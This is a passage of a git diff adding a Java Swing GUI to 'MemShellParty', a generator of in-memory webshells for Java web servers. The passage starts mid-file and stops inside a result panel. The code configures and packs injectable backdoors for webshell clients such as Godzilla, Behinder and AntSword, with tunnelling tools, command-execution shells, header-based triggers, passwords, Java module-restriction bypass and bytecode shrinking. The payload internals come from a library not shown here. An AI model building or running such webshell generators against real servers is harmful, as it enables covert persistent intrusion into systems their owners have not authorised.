+    private Object defaultValue;
+    private String description;
+    private String descriptionI18nKey;
+    private final List<Option> options = new ArrayList<>();
+
+    public String getKey() { return key; }
+    public void setKey(String key) { this.key = key; }
+    public String getType() { return type; }
+    public void setType(String type) { this.type = type; }
+    public boolean isRequired() { return required; }
+    public void setRequired(boolean required) { this.required = required; }
+    public Object getDefaultValue() { return defaultValue; }
+    public void setDefaultValue(Object defaultValue) { this.defaultValue = defaultValue; }
+    public String getDescription() { return description; }
+    public void setDescription(String description) { this.description = description; }
+    public String getDescriptionI18nKey() { return descriptionI18nKey; }
+    public void setDescriptionI18nKey(String descriptionI18nKey) { this.descriptionI18nKey = descriptionI18nKey; }
+    public List<Option> getOptions() { return options; }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/service/ConfigCatalogService.java

@@ -0,0 +1,127 @@
+package com.reajason.javaweb.desktop.memshell.service;
+
+import com.reajason.javaweb.desktop.memshell.model.PackerCategoryModel;
+import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
+import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
+import com.reajason.javaweb.memshell.ServerFactory;
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.packer.spec.PackerFieldSchema;
+import com.reajason.javaweb.packer.spec.PackerOptionValue;
+import com.reajason.javaweb.packer.spec.PackerSchema;
+
+import java.util.*;
+import java.util.stream.Collectors;
+
+public class ConfigCatalogService {
+
+    public static class ConfigCatalog {
+        private final Map<String, List<String>> servers;
+        private final Map<String, Map<String, List<String>>> core;
+        private final List<PackerCategoryModel> packers;
+        private final List<String> commandEncryptors;
+        private final List<String> commandImplementationClasses;
+
+        public ConfigCatalog(Map<String, List<String>> servers,
+                             Map<String, Map<String, List<String>>> core,
+                             List<PackerCategoryModel> packers,
+                             List<String> commandEncryptors,
+                             List<String> commandImplementationClasses) {
+            this.servers = servers;
+            this.core = core;
+            this.packers = packers;
+            this.commandEncryptors = commandEncryptors;
+            this.commandImplementationClasses = commandImplementationClasses;
+        }
+
+        public Map<String, List<String>> getServers() { return servers; }
+        public Map<String, Map<String, List<String>>> getCore() { return core; }
+        public List<PackerCategoryModel> getPackers() { return packers; }
+        public List<String> getCommandEncryptors() { return commandEncryptors; }
+        public List<String> getCommandImplementationClasses() { return commandImplementationClasses; }
+    }
+
+    public ConfigCatalog load() {
+        Map<String, List<String>> servers = new LinkedHashMap<>();
+        Map<String, Map<String, List<String>>> core = new LinkedHashMap<>();
+
+        for (String serverName : ServerFactory.getSupportedServers()) {
+            AbstractServer server = ServerFactory.getServer(serverName);
+            if (server == null) {
+                continue;
+            }
+            List<String> shellTypes = new ArrayList<>(server.getShellInjectorMapping().getSupportedShellTypes());
+            servers.put(serverName, shellTypes);
+
+            Map<String, List<String>> toolMap = new LinkedHashMap<>();
+            for (String tool : server.getSupportedShellTools()) {
+                List<String> types = new ArrayList<>(server.getSupportedShellTypes(tool));
+                if (!types.isEmpty()) {
+                    toolMap.put(tool, types);
+                }
+            }
+            core.put(serverName, toolMap);
+        }
+
+        List<PackerCategoryModel> packerModels = new ArrayList<>();
+        for (Map.Entry<String, List<Packers>> entry : Packers.groupedPackers().entrySet()) {
+            PackerCategoryModel category = new PackerCategoryModel(entry.getKey());
+            for (Packers packerEnum : entry.getValue()) {
+                PackerEntryModel p = new PackerEntryModel();
+                p.setCategoryName(entry.getKey());
+                p.setName(packerEnum.name());
+                p.setOutputKind(packerEnum.getOutputKind());
+                p.setCategoryAnchor(packerEnum.hasChildren());
+                PackerSchema schema = packerEnum.getSchema();
+                if (schema != null) {
+                    p.getDefaultConfig().putAll(schema.getDefaultConfig());
+                    for (PackerFieldSchema field : schema.getFields()) {
+                        PackerSchemaFieldModel f = new PackerSchemaFieldModel();
+                        f.setKey(field.getKey());
+                        f.setType(field.getType() == null ? null : field.getType().name());
+                        f.setRequired(field.isRequired());
+                        f.setDefaultValue(field.getDefaultValue());
+                        f.setDescription(field.getDescription());
+                        f.setDescriptionI18nKey(field.getDescriptionI18nKey());
+                        for (PackerOptionValue option : field.getOptions()) {
+                            f.getOptions().add(new PackerSchemaFieldModel.Option(option.getValue(), option.getLabel()));
+                        }
+                        p.getFields().add(f);
+                    }
+                }
+                category.getPackers().add(p);
+            }
+            packerModels.add(category);
+        }
+
+        List<String> encryptors = Arrays.stream(CommandConfig.Encryptor.values()).map(Enum::name).collect(Collectors.toList());
+        List<String> impls = Arrays.stream(CommandConfig.ImplementationClass.values()).map(Enum::name).collect(Collectors.toList());
+
+        return new ConfigCatalog(servers, core, packerModels, encryptors, impls);
+    }
+
+    public List<String> getServerVersionOptions(String server) {
+        if ("TongWeb".equals(server)) {
+            return Arrays.asList("6", "7", "8");
+        }
+        if ("Jetty".equals(server)) {
+            return Arrays.asList("6", "7+", "12");
+        }
+        return Collections.singletonList("Unknown");
+    }
+
+    public List<String> getTargetJdkOptions() {
+        return Arrays.asList("50", "52", "53", "55", "61", "65");
+    }
+
+    public String getTargetJdkLabel(String value) {
+        if ("50".equals(value)) return "Java6";
+        if ("52".equals(value)) return "Java8";
+        if ("53".equals(value)) return "Java9";
+        if ("55".equals(value)) return "Java11";
+        if ("61".equals(value)) return "Java17";
+        if ("65".equals(value)) return "Java21";
+        return value;
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/service/CustomClassNameParser.java

@@ -0,0 +1,22 @@
+package com.reajason.javaweb.desktop.memshell.service;
+
+import net.bytebuddy.jar.asm.ClassReader;
+
+import java.util.Base64;
+
+public class CustomClassNameParser {
+    public String parseClassNameFromBase64(String classBase64) {
+        if (classBase64 == null || classBase64.trim().isEmpty()) {
+            throw new IllegalArgumentException("class base64 is empty");
+        }
+        byte[] bytes = Base64.getDecoder().decode(classBase64);
+        return parseClassName(bytes);
+    }
+
+    public String parseClassName(byte[] classBytes) {
+        if (classBytes == null || classBytes.length == 0) {
+            throw new IllegalArgumentException("class bytes are empty");
+        }
+        return new ClassReader(classBytes).getClassName().replace('/', '.');
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/service/GenerationService.java

@@ -0,0 +1,147 @@
+package com.reajason.javaweb.desktop.memshell.service;
+
+import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import com.reajason.javaweb.memshell.MemShellGenerator;
+import com.reajason.javaweb.memshell.MemShellResult;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.JarPacker;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+
+import java.util.Base64;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+public class GenerationService {
+
+    public DesktopMemShellGenerateResult generate(MemShellFormState s) {
+        ShellConfig shellConfig = ShellConfig.builder()
+                .server(s.getServer())
+                .serverVersion(s.getServerVersion())
+                .shellTool(s.getShellTool())
+                .shellType(s.getShellType())
+                .targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
+                .debug(s.isDebug())
+                .byPassJavaModule(s.isByPassJavaModule())
+                .probe(s.isProbe())
+                .shrink(s.isShrink())
+                .lambdaSuffix(s.isLambdaSuffix())
+                .build();
+
+        InjectorConfig injectorConfig = InjectorConfig.builder()
+                .urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
+                .injectorClassName(blankToNull(s.getInjectorClassName()))
+                .staticInitialize(s.isStaticInitialize())
+                .build();
+
+        ShellToolConfig shellToolConfig = buildShellToolConfig(s);
+        MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
+
+        String packMethod = s.getPackingMethod();
+        Packers packers = Packers.fromName(packMethod);
+        Packer<?> packer = packers.getInstance();
+        String packResult;
+        if (packer instanceof JarPacker) {
+            JarPacker jarPacker = (JarPacker) packer;
+            packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
+        } else {
+            ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
+            Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
+            classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
+            packResult = ((Packer<Object>) packer).pack(classPackerConfig);
+        }
+        return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
+    }
+
+    @SuppressWarnings("unchecked")
+    private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
+        return (ClassPackerConfig<Object>) c;
+    }
+
+    private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
+        String tool = s.getShellTool();
+        if (ShellTool.Godzilla.equals(tool)) {
+            return GodzillaConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .pass(blankToNull(s.getGodzillaPass()))
+                    .key(blankToNull(s.getGodzillaKey()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .build();
+        }
+        if (ShellTool.Behinder.equals(tool)) {
+            return BehinderConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .pass(blankToNull(s.getBehinderPass()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .build();
+        }
+        if (ShellTool.AntSword.equals(tool)) {
+            return AntSwordConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .pass(blankToNull(s.getAntSwordPass()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .build();
+        }
+        if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
+            return Suo5Config.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .build();
+        }
+        if (ShellTool.NeoreGeorg.equals(tool)) {
+            return NeoreGeorgConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .build();
+        }
+        if (ShellTool.Proxy.equals(tool)) {
+            return ProxyConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .build();
+        }
+        if (ShellTool.Custom.equals(tool)) {
+            return CustomConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .shellClassBase64(blankToNull(s.getShellClassBase64()))
+                    .build();
+        }
+        if (ShellTool.Command.equals(tool)) {
+            return CommandConfig.builder()
+                    .shellClassName(blankToNull(s.getShellClassName()))
+                    .paramName(blankToNull(s.getCommandParamName()))
+                    .headerName(blankToNull(s.getHeaderName()))
+                    .headerValue(blankToNull(s.getHeaderValue()))
+                    .template(blankToNull(s.getCommandTemplate()))
+                    .encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
+                    .implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
+                    .build();
+        }
+        throw new IllegalArgumentException("Unsupported shell tool: " + tool);
+    }
+
+    private int parseInt(String value, int defaultValue) {
+        try {
+            return Integer.parseInt(value);
+        } catch (Exception ignored) {
+            return defaultValue;
+        }
+    }
+
+    private static String blankToNull(String s) {
+        return s == null || s.trim().isEmpty() ? null : s;
+    }
+
+    private static String blankToDefault(String s, String d) {
+        return s == null || s.trim().isEmpty() ? d : s;
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/MemShellGeneratorFrame.java

@@ -0,0 +1,138 @@
+package com.reajason.javaweb.desktop.memshell.ui;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
+import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
+import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
+import com.reajason.javaweb.desktop.memshell.service.GenerationService;
+import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
+import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
+import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
+import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
+import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+import java.awt.*;
+
+public class MemShellGeneratorFrame extends JFrame {
+    private final MemShellFormController controller;
+    private final GenerationService generationService;
+    private final MainConfigPanel mainConfigPanel;
+    private final PackageConfigPanel packageConfigPanel;
+    private final ResultPanel resultPanel;
+    private final JButton generateButton = new JButton("生成内存马");
+    private final JLabel statusLabel = new JLabel("就绪");
+    private JComponent mainContentPanel;
+
+    public MemShellGeneratorFrame() {
+        super("MemShellParty - MemShellGenerator");
+        this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
+        this.generationService = new GenerationService();
+        CustomClassNameParser customClassNameParser = new CustomClassNameParser();
+
+        this.resultPanel = new ResultPanel();
+        this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
+        this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
+
+        setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
+        setMinimumSize(new Dimension(1180, 900));
+        setSize(1280, 900);
+        setLocationRelativeTo(null);
+
+        setLayout(new BorderLayout(6, 6));
+        add(buildToolbar(), BorderLayout.NORTH);
+        add(buildContent(), BorderLayout.CENTER);
+        add(buildStatusBar(), BorderLayout.SOUTH);
+
+        generateButton.addActionListener(e -> onGenerate());
+        resultPanel.clear();
+        refreshAll();
+    }
+
+    private JComponent buildToolbar() {
+        JPanel p = new JPanel(new BorderLayout());
+        p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
+        return p;
+    }
+
+    private JComponent buildContent() {
+        JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
+        JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
+        leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
+        leftColumn.add(packageConfigPanel, "growx");
+
+        JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
+        rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
+
+        JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
+                "[grow,fill,sg topCol][grow,fill,sg topCol]",
+                "[top]"));
+        topColumns.add(leftColumn, "growx, pushx, top");
+        topColumns.add(rightColumn, "growx, pushx, top");
+        topPane.add(topColumns, "growx, pushy");
+
+        topPane.add(generateButton, "wrap, growx, gaptop 10");
+        generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
+
+        JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
+        content.add(topPane, "growx");
+        content.add(resultPanel, "grow, push");
+        mainContentPanel = content;
+        return content;
+    }
+
+    private JComponent buildStatusBar() {
+        JPanel p = new JPanel(new BorderLayout());
+        p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
+        p.add(statusLabel, BorderLayout.WEST);
+        return p;
+    }
+
+    private void onGenerate() {
+        com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
+        if (!validation.isValid()) {
+            statusLabel.setText("校验失败");
+            SwingUiUtil.showError(this, validation.firstMessage());
+            return;
+        }
+        generateButton.setEnabled(false);
+        statusLabel.setText("生成中...");
+
+        SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
+            @Override
+            protected DesktopMemShellGenerateResult doInBackground() {
+                return generationService.generate(controller.getState().copy());
+            }
+
+            @Override
+            protected void done() {
+                generateButton.setEnabled(true);
+                try {
+                    DesktopMemShellGenerateResult result = get();
+                    resultPanel.showResult(result);
+                    statusLabel.setText("生成成功");
+                } catch (Exception ex) {
+                    statusLabel.setText("生成失败");
+                    SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
+                }
+            }
+        };
+        worker.execute();
+    }
+
+    public void refreshAll() {
+        mainConfigPanel.refreshFromController();
+        packageConfigPanel.refreshFromController();
+        repaint();
+        revalidate();
+    }
+
+    JComponent getMainContentPanel() {
+        return mainContentPanel;
+    }
+
+    JButton getGenerateButton() {
+        return generateButton;
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/MainConfigPanel.java

@@ -0,0 +1,169 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
+import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
+import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+import java.awt.*;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+public class MainConfigPanel extends JPanel {
+    private final MemShellFormController controller;
+    private final Runnable refreshAll;
+    private boolean updating;
+
+    private final JComboBox<String> serverCombo = new JComboBox<>();
+    private final JComboBox<String> serverVersionCombo = new JComboBox<>();
+    private final JComboBox<String> shellToolCombo = new JComboBox<>();
+    private final JComboBox<String> targetJdkCombo = new JComboBox<>();
+
+    private final JCheckBox debugCheck = new JCheckBox("调试模式");
+    private final JCheckBox probeCheck = new JCheckBox("回显模式");
+    private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
+    private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
+    private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
+    private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
+
+    private final JPanel corePanel;
+    private final JPanel toolPanelWrap;
+    private final JPanel toolCardPanel = new JPanel(new CardLayout());
+    private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
+
+    public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
+        super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
+        this.controller = controller;
+        this.refreshAll = refreshAll;
+
+        corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
+        corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
+        corePanel.add(labeled("服务类型", serverCombo), "growx");
+        corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
+        corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
+        corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
+
+        JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
+        togglePanel.add(debugCheck);
+        togglePanel.add(probeCheck);
+        togglePanel.add(bypassCheck);
+        togglePanel.add(lambdaCheck);
+        togglePanel.add(shrinkCheck);
+        togglePanel.add(staticInitCheck);
+        corePanel.add(togglePanel, "span 2, growx");
+        add(corePanel, "growx");
+
+        toolPanelWrap = new JPanel(new BorderLayout());
+        toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
+        // Keep the active tool panel at preferred height to avoid large blank sections.
+        toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
+        add(toolPanelWrap, "growx");
+
+        registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
+        registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
+        registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
+        registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
+        registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
+        registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
+        registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
+        registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
+        registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
+
+        bindEvents();
+    }
+
+    private void registerToolPanel(String key, RefreshableToolPanel panel) {
+        toolPanels.put(key, panel);
+        toolCardPanel.add((Component) panel, key);
+    }
+
+    private JPanel labeled(String label, JComponent component) {
+        JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
+        p.add(new JLabel(label));
+        p.add(component, "growx");
+        return p;
+    }
+
+    private void bindEvents() {
+        serverCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = serverCombo.getSelectedItem();
+            if (item != null) {
+                controller.setServer(String.valueOf(item));
+                refreshAll.run();
+            }
+        });
+        serverVersionCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = serverVersionCombo.getSelectedItem();
+            if (item != null) controller.setServerVersion(String.valueOf(item));
+        });
+        shellToolCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = shellToolCombo.getSelectedItem();
+            if (item != null) {
+                controller.setShellTool(String.valueOf(item));
+                refreshAll.run();
+            }
+        });
+        targetJdkCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = targetJdkCombo.getSelectedItem();
+            if (item != null) {
+                controller.setTargetJdkVersion(String.valueOf(item));
+                refreshAll.run();
+            }
+        });
+
+        debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
+        probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
+        bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
+        lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
+        shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
+        staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
+    }
+
+    public void refreshFromController() {
+        MemShellFormState s = controller.getState();
+        updating = true;
+        try {
+            setComboItems(serverCombo, controller.getServers(), s.getServer());
+            setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
+            setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
+            setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
+
+            debugCheck.setSelected(s.isDebug());
+            probeCheck.setSelected(s.isProbe());
+            bypassCheck.setSelected(s.isByPassJavaModule());
+            lambdaCheck.setSelected(s.isLambdaSuffix());
+            shrinkCheck.setSelected(s.isShrink());
+            staticInitCheck.setSelected(s.isStaticInitialize());
+        } finally {
+            updating = false;
+        }
+
+        CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
+        cardLayout.show(toolCardPanel, s.getShellTool());
+        RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
+        if (toolPanel != null) {
+            toolPanel.refreshFromController();
+        }
+    }
+
+    private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
+        combo.removeAllItems();
+        for (String item : items) combo.addItem(item);
+        if (selected != null) combo.setSelectedItem(selected);
+    }
+
+    public JComponent getCorePanelComponent() {
+        return corePanel;
+    }
+
+    public JComponent getToolPanelComponent() {
+        return toolPanelWrap;
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/PackageConfigPanel.java

@@ -0,0 +1,131 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel;
+
+import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
+import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
+import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+import javax.swing.event.DocumentEvent;
+import javax.swing.event.DocumentListener;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+public class PackageConfigPanel extends JPanel {
+    private final MemShellFormController controller;
+    private final Runnable refreshAll;
+    private boolean updating;
+
+    private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
+    private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
+
+    public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
+        super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
+        this.controller = controller;
+        this.refreshAll = refreshAll;
+        setBorder(BorderFactory.createTitledBorder("打包配置"));
+
+        JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
+        top.add(new JLabel("打包方式"));
+        top.add(packerCombo, "growx");
+        add(top, "growx");
+        add(dynamicFieldsPanel, "growx");
+
+        packerCombo.setRenderer(new DefaultListCellRenderer() {
+            @Override
+            public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
+                super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
+                if (value instanceof PackerEntryModel) {
+                    PackerEntryModel p = (PackerEntryModel) value;
+                    setText(p.displayLabel());
+                }
+                return this;
+            }
+        });
+
+        packerCombo.addActionListener(e -> {
+            if (updating) return;
+            Object item = packerCombo.getSelectedItem();
+            if (item instanceof PackerEntryModel) {
+                PackerEntryModel p = (PackerEntryModel) item;
+                controller.setPacker(p.getName());
+                refreshAll.run();
+            }
+        });
+    }
+
+    public void refreshFromController() {
+        updating = true;
+        try {
+            DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
+            List<PackerEntryModel> filtered = controller.getFilteredPackers();
+            PackerEntryModel selected = controller.getSelectedPackerEntry();
+            for (PackerEntryModel p : filtered) model.addElement(p);
+            packerCombo.setModel(model);
+            if (selected != null) packerCombo.setSelectedItem(selected);
+            rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
+        } finally {
+            updating = false;
+        }
+    }
+
+    private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
+        dynamicFieldsPanel.removeAll();
+        if (fields == null || fields.isEmpty()) {
+            dynamicFieldsPanel.revalidate();
+            dynamicFieldsPanel.repaint();
+            return;
+        }
+        for (PackerSchemaFieldModel field : fields) {
+            String type = field.getType();
+            if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
+                continue;
+            }
+            Object value = currentValues.get(field.getKey());
+            if ("BOOLEAN".equals(type)) {
+                JCheckBox check = new JCheckBox(field.getKey());
+                check.setSelected(Boolean.TRUE.equals(value));
+                check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
+                dynamicFieldsPanel.add(check, "span 2, growx");
+                continue;
+            }
+            dynamicFieldsPanel.add(new JLabel(field.getKey()));
+            if ("ENUM".equals(type)) {
+                JComboBox<String> combo = new JComboBox<>();
+                for (PackerSchemaFieldModel.Option option : field.getOptions()) {
+                    combo.addItem(option.getValue());
+                }
+                if (value != null) combo.setSelectedItem(String.valueOf(value));
+                combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
+                dynamicFieldsPanel.add(combo, "growx");
+            } else {
+                JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
+                text.getDocument().addDocumentListener(new DocumentListener() {
+                    @Override public void insertUpdate(DocumentEvent e) { changed(); }
+                    @Override public void removeUpdate(DocumentEvent e) { changed(); }
+                    @Override public void changedUpdate(DocumentEvent e) { changed(); }
+                    private void changed() {
+                        if (updating) return;
+                        if ("INTEGER".equals(type)) {
+                            String raw = text.getText().trim();
+                            if (raw.isEmpty()) {
+                                controller.setPackerCustomField(field.getKey(), null);
+                            } else {
+                                try {
+                                    controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
+                                } catch (NumberFormatException ignored) {
+                                }
+                            }
+                        } else {
+                            controller.setPackerCustomField(field.getKey(), text.getText());
+                        }
+                    }
+                });
+                dynamicFieldsPanel.add(text, "growx");
+            }
+        }
+        dynamicFieldsPanel.revalidate();
+        dynamicFieldsPanel.repaint();
+    }
+}

desktop/java-swing-gui/src/main/java/com/reajason/javaweb/desktop/memshell/ui/panel/ResultPanel.java

@@ -0,0 +1,249 @@
+package com.reajason.javaweb.desktop.memshell.ui.panel;
+
+import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
+import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
+import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
+import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
+import com.reajason.javaweb.memshell.MemShellResult;
+import com.reajason.javaweb.memshell.config.*;
+import net.miginfocom.swing.MigLayout;
+
+import javax.swing.*;
+import javax.swing.border.Border;
+import java.awt.*;
+import java.io.IOException;
+
+public class ResultPanel extends JPanel {
+    private final JTabbedPane tabs = new JTabbedPane();
+    private final BasicInfoView basicInfoView = new BasicInfoView();
+    private final JTextArea packResultArea = createTextArea();
+    private final JTextArea shellArea = createTextArea();
+    private final JTextArea injectorArea = createTextArea();
+    private final JLabel packHeaderLabel = new JLabel("未生成");
+    private DesktopMemShellGenerateResult current;
+
+    public ResultPanel() {
+        super(new BorderLayout());
+
